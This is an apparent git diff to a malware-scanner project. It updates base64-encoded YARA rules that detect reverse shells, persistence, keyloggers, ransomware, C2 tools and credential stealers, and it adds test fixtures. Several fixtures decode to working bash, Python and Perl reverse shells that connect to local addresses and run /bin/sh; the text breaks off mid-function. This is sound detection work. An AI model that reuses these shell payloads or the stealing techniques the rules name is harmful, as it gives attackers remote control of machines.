diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..b5a2a2e49 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,78 +12,84 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr -ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 -YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg -ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl -dHNcLlRDUENsaWVudC8gbm9jYXNlDQogICAgICAgICRzb2NhdF9zaGVsbCAgICAgID0gL3NvY2F0 -XHMrLipFWEVDLipcL2JpblwvKGJhKT9zaC8gbm9jYXNlDQogICAgICAgICRta2ZpZm9fc2hlbGwg -ICAgID0gL21rZmlmb1xzKy4qXHxccypcL2JpblwvKGJhKT9zaC8NCiAgICBjb25kaXRpb246DQog -ICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUgYmFja2Rvb3JfcGVyc2lzdGVuY2UNCnsNCiAg -ICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9ICJCYWNrZG9vciBwZXJzaXN0ZW5jZSB3aXRo -IG1hbGljaW91cyBwYXlsb2FkcyAoc2hlbGwgY29tbWFuZHMsIFNTSCBrZXkgaW5qZWN0aW9uLCBo -aWRkZW4gcm9vdCB1c2VycykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAg -IHNldmVyaXR5ID0gIkhJR0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43NSINCiAgICAgICAg -cmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3NpZ25hdHVyZS1iYXNlIg0K -ICAgIHN0cmluZ3M6DQogICAgICAgICRoaWRkZW5fdXNlciAgICAgICA9IC91c2VyYWRkXHMrLiot -b1xzKy11XHMrMC8gbm9jYXNlDQogICAgICAgICRjcm9uX3BlcnNpc3QgICAgICA9IC9jcm9udGFi -XHMuKihjdXJsfHdnZXR8bmN8YmFzaHxweXRob24pLyBub2Nhc2UNCiAgICAgICAgJHNzaF9pbmpl -Y3QgICAgICAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5zc2hcL2F1dGhvcml6ZWRfa2V5cy8gbm9j -YXNlDQogICAgICAgICRzeXN0ZW1kX3BlcnNpc3QgICA9IC9cW1NlcnZpY2VcXS4qRXhlY1N0YXJ0 -LioobmN8YmFzaHxweXRob258Y3VybCkvIG5vY2FzZQ0KICAgICAgICAkYmFzaHJjX3BlcnNpc3Qg -ICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLmJhc2hyYy8gbm9jYXNlDQogICAgICAgICRwcm9maWxl -X3BlcnNpc3QgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwucHJvZmlsZS8gbm9jYXNlDQogICAgICAg -ICRpbml0X3BlcnNpc3QgICAgICA9IC9cL2V0Y1wvaW5pdFwuZFwvLioobmN8YmFzaHxyZXZlcnNl -KS8gbm9jYXNlDQogICAgICAgICRsZF9wcmVsb2FkICAgICAgICA9IC9MRF9QUkVMT0FELipcLnNv -LyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoNCnJ1bGUg -a2V5bG9nZ2VyX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNjcmlwdGlvbiA9 -ICJLZXlsb2dnZXIgZnVuY3Rpb25hbGl0eSBpbiBzY3JpcHRzIG9yIHNvdXJjZSBjb2RlIg0KICAg -ICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAg -ICAgICBjb25maWRlbmNlID0gIjAuNyINCiAgICBzdHJpbmdzOg0KICAgICAgICAkcHlucHV0ICAg -ICAgICAgPSAvZnJvbVxzK3B5bnB1dFwua2V5Ym9hcmRccytpbXBvcnQvIG5vY2FzZQ0KICAgICAg -ICAka2V5Ym9hcmRfaG9vayAgPSAva2V5Ym9hcmRcLihvbl9wcmVzc3xob29rfG9uX3JlbGVhc2Up -LyBub2Nhc2UNCiAgICAgICAgJHhpbnB1dF90ZXN0ICAgID0gL3hpbnB1dFxzK3Rlc3QvIG5vY2Fz -ZQ0KICAgICAgICAkbG9na2V5cyAgICAgICAgPSAvbG9na2V5c1xzKy0tc3RhcnQvIG5vY2FzZQ0K -ICAgICAgICAka2V5YmRfZXZlbnQgICAgPSAvKEdldEFzeW5jS2V5U3RhdGV8U2V0V2luZG93c0hv -b2tFeC4qV0hfS0VZQk9BUkQpLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBv -ZiB0aGVtDQp9DQoNCnJ1bGUgcmFuc29td2FyZV9iZWhhdmlvcg0Kew0KICAgIG1ldGE6DQogICAg -ICAgIGRlc2NyaXB0aW9uID0gIlJhbnNvbXdhcmUtbGlrZSBwYXR0ZXJucyAobWFzcyBlbmNyeXB0 -aW9uLCByYW5zb20gbm90ZXMpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAgICAg -ICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjgiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJHdhbGtfZW5jcnlwdCAgID0gL29zXC53YWxrXHMqXCguKlwuKGVu -Y3J5cHR8Y2lwaGVyKS8NCiAgICAgICAgJHJhbnNvbV9ub3RlICAgID0gLyh5b3VyXHMrZmlsZXNc -cysoaGF2ZVxzK2JlZW58YXJlKVxzK2VuY3J5cHRlZHxwYXlccysuKmJpdGNvaW58c2VuZFxzKy4q -YnRjKS8gbm9jYXNlDQogICAgICAgICRleHRfcmVuYW1lICAgICA9IC9vc1wucmVuYW1lXHMqXCgu -KlwrXHMqWyciXVwuKGxvY2tlZHxlbmNyeXB0ZWR8Y3J5cHR8ZW5jKVsnIl1ccypcKS8NCiAgICAg -ICAgJG1hc3Nfb3ZlcndyaXRlID0gL29zXC53YWxrXHMqXCguKm9wZW5ccypcKC4qWydcIl13Ylsn -XCJdXCkvDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpydWxlIGMy -X2ZyYW1ld29ya19pbmRpY2F0b3JzDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRpb24g -PSAiQ29tbWFuZC1hbmQtY29udHJvbCBmcmFtZXdvcmsgaW5kaWNhdG9ycyAoQ29iYWx0IFN0cmlr -ZSwgTWV0YXNwbG9pdCwgU2xpdmVyLCBldGMuKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2Fy -ZSINCiAgICAgICAgc2V2ZXJpdHkgPSAiQ1JJVElDQUwiDQogICAgICAgIGNvbmZpZGVuY2UgPSAi -MC44NSINCiAgICAgICAgcmVmZXJlbmNlID0gImh0dHBzOi8vZ2l0aHViLmNvbS9OZW8yM3gwL3Np -Z25hdHVyZS1iYXNlIg0KICAgIHN0cmluZ3M6DQogICAgICAgICRjb2JhbHRfc3RyaWtlICA9ICJj -b2JhbHRzdHJpa2UiIG5vY2FzZQ0KICAgICAgICAkbWV0ZXJwcmV0ZXIgICAgPSAibWV0ZXJwcmV0 -ZXIiIG5vY2FzZQ0KICAgICAgICAkbWV0YXNwbG9pdCAgICAgPSAvbWV0YXNwbG9pdC4qKHBheWxv -YWR8ZXhwbG9pdHxzdGFnZXIpLyBub2Nhc2UNCiAgICAgICAgJGVtcGlyZSAgICAgICAgID0gL3Bv -d2Vyc2hlbGwuKmVtcGlyZS8gbm9jYXNlDQogICAgICAgICRzbGl2ZXJfYzIgICAgICA9IC9zbGl2 -ZXIuKihpbXBsYW50fGJlYWNvbnxzZXNzaW9uKS8gbm9jYXNlDQogICAgICAgICRjb3ZlbmFudCAg -ICAgICA9IC9Db3ZlbmFudC4qKEdydW50fExpc3RlbmVyKS8gbm9jYXNlDQogICAgICAgICRoYXZv -Y19jMiAgICAgICA9IC9oYXZvYy4qKGRlbW9ufHRlYW1zZXJ2ZXIpLyBub2Nhc2UNCiAgICAgICAg -JGJlYWNvbl9jb25maWcgID0gLyhCZWFjb25UeXBlfEMyU2VydmVyfFB1YmxpY0tleS4qd2F0ZXJt -YXJrKS8gbm9jYXNlDQogICAgY29uZGl0aW9uOg0KICAgICAgICBhbnkgb2YgdGhlbQ0KfQ0KDQpy -dWxlIGluZm9fc3RlYWxlcg0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIklu -Zm9ybWF0aW9uIHN0ZWFsZXIgcGF0dGVybnMgKGNyZWRlbnRpYWwgaGFydmVzdGluZywgYnJvd3Nl -ciBkYXRhIHRoZWZ0KSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSINCiAgICAgICAgc2V2 -ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0KICAgICAgICByZWZl -cmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAg -c3RyaW5nczoNCiAgICAgICAgJGNocm9tZV9sb2dpbiAgICAgPSAvQ2hyb21lLipMb2dpblxzKkRh -dGEvIG5vY2FzZQ0KICAgICAgICAkZmlyZWZveF9sb2dpbnMgICA9IC9sb2dpbnNcLmpzb24uKmZp -cmVmb3gvIG5vY2FzZQ0KICAgICAgICAkYnJvd3Nlcl9jb29raWVzICA9IC9Db29raWVzLiooY2hy -b21lfGZpcmVmb3h8ZWRnZXxvcGVyYSkvIG5vY2FzZQ0KICAgICAgICAkd2FsbGV0X3N0ZWFsICAg -ICA9IC93YWxsZXRcLmRhdC8gbm9jYXNlDQogICAgICAgICRtaW1pa2F0eiAgICAgICAgID0gIm1p -bWlrYXR6IiBub2Nhc2UNCiAgICAgICAgJGxhemFnbmUgICAgICAgICAgPSAibGF6YWduZSIgbm9j -YXNlDQogICAgICAgICRjcmVkX2R1bXBfc2FtICAgID0gL3JlZ1xzK3NhdmVccysuKlxcc2FtLyBu -b2Nhc2UNCiAgICAgICAgJG50ZHNfZHVtcCAgICAgICAgPSAvbnRkc1wuZGl0LyBub2Nhc2UNCiAg -ICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQo= +XCguezAsMjAwfVNPQ0tfU1RSRUFNLnswLDIwMH1cLmNvbm5lY3RcKC57MCwzMDB9ZHVwMlxzKlwo +LnswLDIwMH0oc3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoXHMqXFw/XFs/XHMqXFw/ +W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8b3NcLnN5c3RlbVxzKlwoXHMqXFw/W1wiJ11cXD8oXC9i +aW5cLyk/XHcqc2h8cHR5XC5zcGF3blxzKlwoXHMqXFw/W1wiJ11cXD8oXC9iaW5cLyk/XHcqc2h8 +ZXhlY3ZlXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaCkvcw0KICAgICAgICAkcGVy +bF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDIwMH1zb2NrZXRccypcKFxzKlNPQ0su +ezAsMjAwfWNvbm5lY3RccypcKC57MCwzMDB9b3BlblxzKlwoXHMqU1REKElOfE9VVHxFUlIpLnsw +LDIwMH1leGVjXHMqXChccypcXD9bXCInXVxcPyhcL2JpblwvKT9cdypzaC9zDQogICAgICAgICRw +aHBfZnNvY2sgICAgICAgID0gL2Zzb2Nrb3BlblxzKlwoLipleGVjXHMqXCgvIG5vY2FzZQ0KICAg +ICAgICAkcnVieV90Y3Bzb2NrZXQgICA9IC9UQ1BTb2NrZXRcLlxzKm5ld1xzKlwoLipleGVjXHMq +XCgvDQogICAgICAgICRwb3dlcnNoZWxsX3RjcCAgID0gL05ldy1PYmplY3RccytTeXN0ZW1cLk5l +dFwuU29ja2V0c1wuVENQQ2xpZW50LyBub2Nhc2UNCiAgICAgICAgJHNvY2F0X3NoZWxsICAgICAg +PSAvc29jYXRccysuKkVYRUMuKlwvYmluXC8oYmEpP3NoLyBub2Nhc2UNCiAgICAgICAgJG1rZmlm +b19zaGVsbCAgICAgPSAvbWtmaWZvXHMrLipcfFxzKlwvYmluXC8oYmEpP3NoLw0KICAgIGNvbmRp +dGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSBiYWNrZG9vcl9wZXJzaXN0ZW5j +ZQ0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2NyaXB0aW9uID0gIkJhY2tkb29yIHBlcnNpc3Rl +bmNlIHdpdGggbWFsaWNpb3VzIHBheWxvYWRzIChzaGVsbCBjb21tYW5kcywgU1NIIGtleSBpbmpl +Y3Rpb24sIGhpZGRlbiByb290IHVzZXJzKSINCiAgICAgICAgY2F0ZWdvcnkgPSAibWFsd2FyZSIN +CiAgICAgICAgc2V2ZXJpdHkgPSAiSElHSCINCiAgICAgICAgY29uZmlkZW5jZSA9ICIwLjc1Ig0K +ICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05lbzIzeDAvc2lnbmF0dXJl +LWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGhpZGRlbl91c2VyICAgICAgID0gL3VzZXJh +ZGRccysuKi1vXHMrLXVccyswLyBub2Nhc2UNCiAgICAgICAgJGNyb25fcGVyc2lzdCAgICAgID0g +L2Nyb250YWJccy4qKGN1cmx8d2dldHxuY3xiYXNofHB5dGhvbikvIG5vY2FzZQ0KICAgICAgICAk +c3NoX2luamVjdCAgICAgICAgPSAvZWNob1xzKy4qPj4/XHMqLipcLnNzaFwvYXV0aG9yaXplZF9r +ZXlzLyBub2Nhc2UNCiAgICAgICAgJHN5c3RlbWRfcGVyc2lzdCAgID0gL1xbU2VydmljZVxdLipF +eGVjU3RhcnQuKihuY3xiYXNofHB5dGhvbnxjdXJsKS8gbm9jYXNlDQogICAgICAgICRiYXNocmNf +cGVyc2lzdCAgICA9IC9lY2hvXHMrLio+Pj9ccyouKlwuYmFzaHJjLyBub2Nhc2UNCiAgICAgICAg +JHByb2ZpbGVfcGVyc2lzdCAgID0gL2VjaG9ccysuKj4+P1xzKi4qXC5wcm9maWxlLyBub2Nhc2UN +CiAgICAgICAgJGluaXRfcGVyc2lzdCAgICAgID0gL1wvZXRjXC9pbml0XC5kXC8uKihuY3xiYXNo +fHJldmVyc2UpLyBub2Nhc2UNCiAgICAgICAgJGxkX3ByZWxvYWQgICAgICAgID0gL0xEX1BSRUxP +QUQuKlwuc28vIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0N +Cg0KcnVsZSBrZXlsb2dnZXJfaW5kaWNhdG9ycw0Kew0KICAgIG1ldGE6DQogICAgICAgIGRlc2Ny +aXB0aW9uID0gIktleWxvZ2dlciBmdW5jdGlvbmFsaXR5IGluIHNjcmlwdHMgb3Igc291cmNlIGNv +ZGUiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUiDQogICAgICAgIHNldmVyaXR5ID0gIkhJ +R0giDQogICAgICAgIGNvbmZpZGVuY2UgPSAiMC43Ig0KICAgIHN0cmluZ3M6DQogICAgICAgICRw +eW5wdXQgICAgICAgICA9IC9mcm9tXHMrcHlucHV0XC5rZXlib2FyZFxzK2ltcG9ydC8gbm9jYXNl +DQogICAgICAgICRrZXlib2FyZF9ob29rICA9IC9rZXlib2FyZFwuKG9uX3ByZXNzfGhvb2t8b25f +cmVsZWFzZSkvIG5vY2FzZQ0KICAgICAgICAkeGlucHV0X3Rlc3QgICAgPSAveGlucHV0XHMrdGVz +dC8gbm9jYXNlDQogICAgICAgICRsb2drZXlzICAgICAgICA9IC9sb2drZXlzXHMrLS1zdGFydC8g +bm9jYXNlDQogICAgICAgICRrZXliZF9ldmVudCAgICA9IC8oR2V0QXN5bmNLZXlTdGF0ZXxTZXRX +aW5kb3dzSG9va0V4LipXSF9LRVlCT0FSRCkvIG5vY2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAg +ICAgYW55IG9mIHRoZW0NCn0NCg0KcnVsZSByYW5zb213YXJlX2JlaGF2aW9yDQp7DQogICAgbWV0 +YToNCiAgICAgICAgZGVzY3JpcHRpb24gPSAiUmFuc29td2FyZS1saWtlIHBhdHRlcm5zIChtYXNz +IGVuY3J5cHRpb24sIHJhbnNvbSBub3RlcykiDQogICAgICAgIGNhdGVnb3J5ID0gIm1hbHdhcmUi +DQogICAgICAgIHNldmVyaXR5ID0gIkNSSVRJQ0FMIg0KICAgICAgICBjb25maWRlbmNlID0gIjAu +OCINCiAgICBzdHJpbmdzOg0KICAgICAgICAkd2Fsa19lbmNyeXB0ICAgPSAvb3NcLndhbGtccypc +KC4qXC4oZW5jcnlwdHxjaXBoZXIpLw0KICAgICAgICAkcmFuc29tX25vdGUgICAgPSAvKHlvdXJc +cytmaWxlc1xzKyhoYXZlXHMrYmVlbnxhcmUpXHMrZW5jcnlwdGVkfHBheVxzKy4qYml0Y29pbnxz +ZW5kXHMrLipidGMpLyBub2Nhc2UNCiAgICAgICAgJGV4dF9yZW5hbWUgICAgID0gL29zXC5yZW5h +bWVccypcKC4qXCtccypbJyJdXC4obG9ja2VkfGVuY3J5cHRlZHxjcnlwdHxlbmMpWyciXVxzKlwp +Lw0KICAgICAgICAkbWFzc19vdmVyd3JpdGUgPSAvb3NcLndhbGtccypcKC4qb3BlblxzKlwoLipb +J1wiXXdiWydcIl1cKS8NCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVtDQp9DQoN +CnJ1bGUgYzJfZnJhbWV3b3JrX2luZGljYXRvcnMNCnsNCiAgICBtZXRhOg0KICAgICAgICBkZXNj +cmlwdGlvbiA9ICJDb21tYW5kLWFuZC1jb250cm9sIGZyYW1ld29yayBpbmRpY2F0b3JzIChDb2Jh +bHQgU3RyaWtlLCBNZXRhc3Bsb2l0LCBTbGl2ZXIsIGV0Yy4pIg0KICAgICAgICBjYXRlZ29yeSA9 +ICJtYWx3YXJlIg0KICAgICAgICBzZXZlcml0eSA9ICJDUklUSUNBTCINCiAgICAgICAgY29uZmlk +ZW5jZSA9ICIwLjg1Ig0KICAgICAgICByZWZlcmVuY2UgPSAiaHR0cHM6Ly9naXRodWIuY29tL05l +bzIzeDAvc2lnbmF0dXJlLWJhc2UiDQogICAgc3RyaW5nczoNCiAgICAgICAgJGNvYmFsdF9zdHJp +a2UgID0gImNvYmFsdHN0cmlrZSIgbm9jYXNlDQogICAgICAgICRtZXRlcnByZXRlciAgICA9ICJt +ZXRlcnByZXRlciIgbm9jYXNlDQogICAgICAgICRtZXRhc3Bsb2l0ICAgICA9IC9tZXRhc3Bsb2l0 +LioocGF5bG9hZHxleHBsb2l0fHN0YWdlcikvIG5vY2FzZQ0KICAgICAgICAkZW1waXJlICAgICAg +ICAgPSAvcG93ZXJzaGVsbC4qZW1waXJlLyBub2Nhc2UNCiAgICAgICAgJHNsaXZlcl9jMiAgICAg +ID0gL3NsaXZlci4qKGltcGxhbnR8YmVhY29ufHNlc3Npb24pLyBub2Nhc2UNCiAgICAgICAgJGNv +dmVuYW50ICAgICAgID0gL0NvdmVuYW50LiooR3J1bnR8TGlzdGVuZXIpLyBub2Nhc2UNCiAgICAg +ICAgJGhhdm9jX2MyICAgICAgID0gL2hhdm9jLiooZGVtb258dGVhbXNlcnZlcikvIG5vY2FzZQ0K +ICAgICAgICAkYmVhY29uX2NvbmZpZyAgPSAvKEJlYWNvblR5cGV8QzJTZXJ2ZXJ8UHVibGljS2V5 +Lip3YXRlcm1hcmspLyBub2Nhc2UNCiAgICBjb25kaXRpb246DQogICAgICAgIGFueSBvZiB0aGVt +DQp9DQoNCnJ1bGUgaW5mb19zdGVhbGVyDQp7DQogICAgbWV0YToNCiAgICAgICAgZGVzY3JpcHRp +b24gPSAiSW5mb3JtYXRpb24gc3RlYWxlciBwYXR0ZXJucyAoY3JlZGVudGlhbCBoYXJ2ZXN0aW5n +LCBicm93c2VyIGRhdGEgdGhlZnQpIg0KICAgICAgICBjYXRlZ29yeSA9ICJtYWx3YXJlIg0KICAg +ICAgICBzZXZlcml0eSA9ICJISUdIIg0KICAgICAgICBjb25maWRlbmNlID0gIjAuNzUiDQogICAg +ICAgIHJlZmVyZW5jZSA9ICJodHRwczovL2dpdGh1Yi5jb20vTmVvMjN4MC9zaWduYXR1cmUtYmFz +ZSINCiAgICBzdHJpbmdzOg0KICAgICAgICAkY2hyb21lX2xvZ2luICAgICA9IC9DaHJvbWUuKkxv +Z2luXHMqRGF0YS8gbm9jYXNlDQogICAgICAgICRmaXJlZm94X2xvZ2lucyAgID0gL2xvZ2luc1wu +anNvbi4qZmlyZWZveC8gbm9jYXNlDQogICAgICAgICRicm93c2VyX2Nvb2tpZXMgID0gL0Nvb2tp +ZXMuKihjaHJvbWV8ZmlyZWZveHxlZGdlfG9wZXJhKS8gbm9jYXNlDQogICAgICAgICR3YWxsZXRf +c3RlYWwgICAgID0gL3dhbGxldFwuZGF0LyBub2Nhc2UNCiAgICAgICAgJG1pbWlrYXR6ICAgICAg +ICAgPSAibWltaWthdHoiIG5vY2FzZQ0KICAgICAgICAkbGF6YWduZSAgICAgICAgICA9ICJsYXph +Z25lIiBub2Nhc2UNCiAgICAgICAgJGNyZWRfZHVtcF9zYW0gICAgPSAvcmVnXHMrc2F2ZVxzKy4q +XFxzYW0vIG5vY2FzZQ0KICAgICAgICAkbnRkc19kdW1wICAgICAgICA9IC9udGRzXC5kaXQvIG5v +Y2FzZQ0KICAgIGNvbmRpdGlvbjoNCiAgICAgICAgYW55IG9mIHRoZW0NCn0NCg== diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..4a6ce2553 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -90,6 +90,117 @@ def _reverse_shell_fixture() -> str: return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode() +def _multiline_python_socket_reverse_shell_fixture() -> str: + """A Python reverse shell written the way it appears in a real script file. + + Deliberately multi-line (``socket.socket(...)`` and ``.connect(...)`` on + separate statements) rather than the single-line ``python3 -c '...'`` form, + since that is how this exact payload is written when bundled as a file + rather than passed inline to an interpreter. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2Vzcywgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja" + "2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLj" + "EiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpvcy5kdXAyKHMuZmlsZW5vKCk" + "sIDEpCm9zLmR1cDIocy5maWxlbm8oKSwgMikKc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9z" + "aCIsICItaSJdKQo=" + ).decode() + + +def _benign_python_socket_client_fixture() -> str: + """An ordinary multiline Python TCP client — connects, exchanges data, closes. + + No descriptor redirection (``os.dup2``) or shell execution follows the + ``connect()`` call, so this must NOT match ``reverse_shell``/``$python_socket`` + even though it shares the same ``socket.socket(...)`` / ``.connect(...)`` + shape as `_multiline_python_socket_reverse_shell_fixture`. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldApzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0" + "LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQpKQpzLnNlbmQoYiJHR" + "VQgLyBIVFRQLzEuMFxyXG5cclxuIikKZGF0YSA9IHMucmVjdig0MDk2KQpwcmludChkYXRhK" + "QpzLmNsb3NlKCkK" + ).decode() + + +def _multiline_perl_socket_reverse_shell_fixture() -> str: + """A Perl reverse shell: connect, redirect STDIN/STDOUT/STDERR onto the + socket, then exec a shell. Mirrors the descriptor-redirection + exec shape + `$perl_socket` must now require, matching the Python fixture's convention. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmlmIChjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJHBv" + "cnQsIGluZXRfYXRvbigkaXApKSkpIHsKICAgIG9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwog" + "ICAgb3BlbihTVERPVVQsICI+JlNPQ0tFVCIpOwogICAgb3BlbihTVERFUlIsICI+JlNPQ0tF" + "VCIpOwogICAgZXhlYygiL2Jpbi9zaCAtaSIpOwp9Cg==" + ).decode() + + +def _benign_perl_socket_client_fixture() -> str: + """An ordinary Perl TCP client — connects, exchanges a line, closes. + + No descriptor redirection or ``exec`` follows the ``connect()`` call, so + this must NOT match ``reverse_shell``/``$perl_socket``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHBy" + "b3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwg" + "aW5ldF9hdG9uKCRpcCkpKTsKcHJpbnQgU09DS0VUICJoZWxsb1xuIjsKbXkgJGxpbmUgPSA8" + "U09DS0VUPjsKY2xvc2UoU09DS0VUKTsK" + ).decode() + + +def _python_helper_subprocess_fixture() -> str: + """A Python client that connects, then runs an unrelated helper subprocess. + + No descriptor redirection (``os.dup2``) binds the socket to the child's + stdio, and the helper is not a shell — so this must NOT match + ``reverse_shell``/``$python_socket`` even though ``subprocess`` still + appears after ``.connect(...)``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwpzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCIxMC4wLjAuMSIsIDQ0NDQpKQpzdWJwcm9jZXNzLmNhbGwoWyIvdXNyL2xvY2FsL2Jpbi9yZXBvcnQtc3RhdHVzLnNoIl0pCnMuc2VuZChiIm9rIikKcy5jbG9zZSgpCg==" + ).decode() + + +def _python_stdin_reopen_no_shell_fixture() -> str: + """A Python client that redirects stdin onto the socket but never execs a shell. + + ``os.dup2`` alone is not descriptor-redirection-plus-shell evidence — the + process just reads from its (now socket-backed) stdin and prints, so this + must NOT match ``reverse_shell``/``$python_socket``. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCwgb3MKcyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKcy5jb25uZWN0KCgiMTAuMC4wLjEiLCA0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLCAwKQpkYXRhID0gb3MucmVhZCgwLCA0MDk2KQpwcmludChkYXRhKQpzLmNsb3NlKCkK" + ).decode() + + +def _perl_helper_exec_nonshell_fixture() -> str: + """A Perl client that connects, then execs an unrelated non-shell helper. + + No STDIN/STDOUT/STDERR redirection onto the socket precedes the ``exec``, + and the executed program is not a shell — so this must NOT match + ``reverse_shell``/``$perl_socket`` even though ``exec(`` still follows + ``connect(``. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpcCkpKTsKZXhlYygiL3Vzci9sb2NhbC9iaW4vcmVwb3J0LXN0YXR1cy5zaCIpOwo=" + ).decode() + + +def _perl_stdin_reopen_no_exec_fixture() -> str: + """A Perl client that reopens STDIN onto the socket but never execs. + + ``open(STDIN, ...)`` alone is not redirection-plus-shell evidence — the + process just reads a line and prints it, so this must NOT match + ``reverse_shell``/``$perl_socket``. + """ + return base64.b64decode( + 